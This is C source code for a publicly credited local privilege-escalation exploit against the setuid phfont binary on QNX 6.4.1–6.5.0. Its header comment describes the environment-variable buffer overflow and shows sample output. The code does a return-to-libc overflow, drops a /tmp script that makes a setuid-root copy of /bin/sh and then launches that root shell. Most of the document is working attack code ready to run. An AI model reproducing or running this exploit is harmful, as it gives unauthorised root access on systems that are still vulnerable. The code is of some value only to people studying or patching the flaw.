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/* *QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013 *<vincitamorpatriae@gmail.com> * * - vulnerability description: * Setuid root /usr/photon/bin/phfont on QNX is prone to a buffer overflow. * The vulnerability is due to insufficent bounds checking of the PHOTON_HOME * environment variable. * * - vulnerable platforms: * QNX 6.5.0SP1 * QNX 6.5.0 * QNX 6.4.1 * * - not vulnerable: * QNX 6.3.0 * QNX 6.2.0 * * - exploit information: * This is a return-to-libc exploit that yields euid=0. The addresses of * system() and exit() are retrieved from libc using dlsym(). * * During development of this exploit I ran into tty issues after succesfully * overwriting the EIP and launching /bin/sh. The following message appeared: * * No controlling tty (open /dev/tty: No such device or address) * * The shell became unusable and required a kill -9 to exit. To get around that * I had modify the exploit to create a shell script named /tmp/sh which copies * /bin/sh to /tmp/shell and then performs a chmod +s on /tmp/shell. * * During execution of the exploit the argument of system() will be set to sh, * and PATH will be set to /tmp. Once /tmp/sh is been executed, the exploit * will launch the setuid /tmp/shell yielding the user euid=0. * * - example: * $ uname -a * QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86 * $ id * uid=100(user) gid=100 * $ ./qnx-phfont * QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013 * * [-] system(): 0xb031bd80 * [-] exit(): 0xb032b5f0 * [-] sh: 0xb030b7f8 * [-] now dropping into root shell... * # id * uid=100(user) gid=100 euid=0(root) * */ #include <sys/types.h> #include <sys/stat.h> #include <dlfcn.h> #include <err.h> #include <fcntl.h> #include <signal.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define HEADER "QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013" #define VULN "PHOTON_PATH=" #define OFFSET 416 #define FILENAME "/tmp/sh" static void createshell(void); static void fail(void); static void checknull(unsigned int addr); static unsigned int find_string(char *s); static unsigned int is_string(unsigned int addr, char *string); static unsigned int find_libc(char *syscall); void createshell(void) { int fd; char *s="/bin/cp /bin/sh /tmp/shell\n" "/bin/chmod 4755 /tmp/shell\n" "/bin/chown root:root /tmp/shell\n"; fd = open(FILENAME, O_RDWR|O_CREAT, S_IRWXU|S_IXGRP|S_IXOTH); if (fd < 0) errx(1, "cannot open %s for writing", FILENAME); write(fd, s, strlen(s)); close(fd); } void checknull(unsigned int addr) { if (!(addr & 0xff) || \ !(addr & 0xff00) || \ !(addr & 0xff0000) || \ !(addr & 0xff000000)) errx(1, "return-to-libc failed: " \ "0x%x contains a null byte", addr); } void fail(void) { printf("\n"); errx(1, "return-to-libc failed"); } unsigned int is_string(unsigned int addr, char *string) { char *a = addr; signal(SIGSEGV, fail); if (strcmp(a, string) == 0) return(0); return(1); } unsigned int find_string(char *string) { unsigned int i; printf("[-] %s: ", string); for (i = 0xb0300000; i < 0xdeadbeef; i++) { if (is_string(i, string) != 0) continue; printf("0x%x\n", i); checknull(i); return(i); } return(1); } unsigned int find_libc(char *syscall) { void *s; unsigned int syscall_addr; if (!(s = dlopen(NULL, RTLD_LAZY))) errx(1, "error: dlopen() failed"); if (!(syscall_addr = (unsigned int)dlsym(s, syscall))) errx(1, "error: dlsym() %s", syscall); printf("[-] %s(): 0x%x\n", syscall, syscall_addr); checknull(syscall_addr); return(syscall_addr); return(1); } int main(int argc, char **argv) { unsigned int system_addr; unsigned int exit_addr; unsigned int sh_addr; char env[440]; printf("%s\n\n", HEADER); createshell(); system_addr = find_libc("system"); exit_addr = find_libc("exit"); sh_addr = find_string("sh"); memset(env, 0xEB, sizeof(env)); memcpy(env + OFFSET, (char *)&system_addr, 4); memcpy(env + OFFSET + 4, (char *)&exit_addr, 4); memcpy(env + OFFSET + 8, (char *)&sh_addr, 4); setenv("PHOTON_PATH", env, 0); system("PATH=/tmp:/bin:/sbin:/usr/bin:/usr/sbin /usr/photon/bin/phfont"); printf("[-] now dropping into root shell...\n"); sleep(2); if (unlink(FILENAME) != 0) printf("error: cannot unlink %s\n", FILENAME); system("/tmp/shell"); return(0); } |
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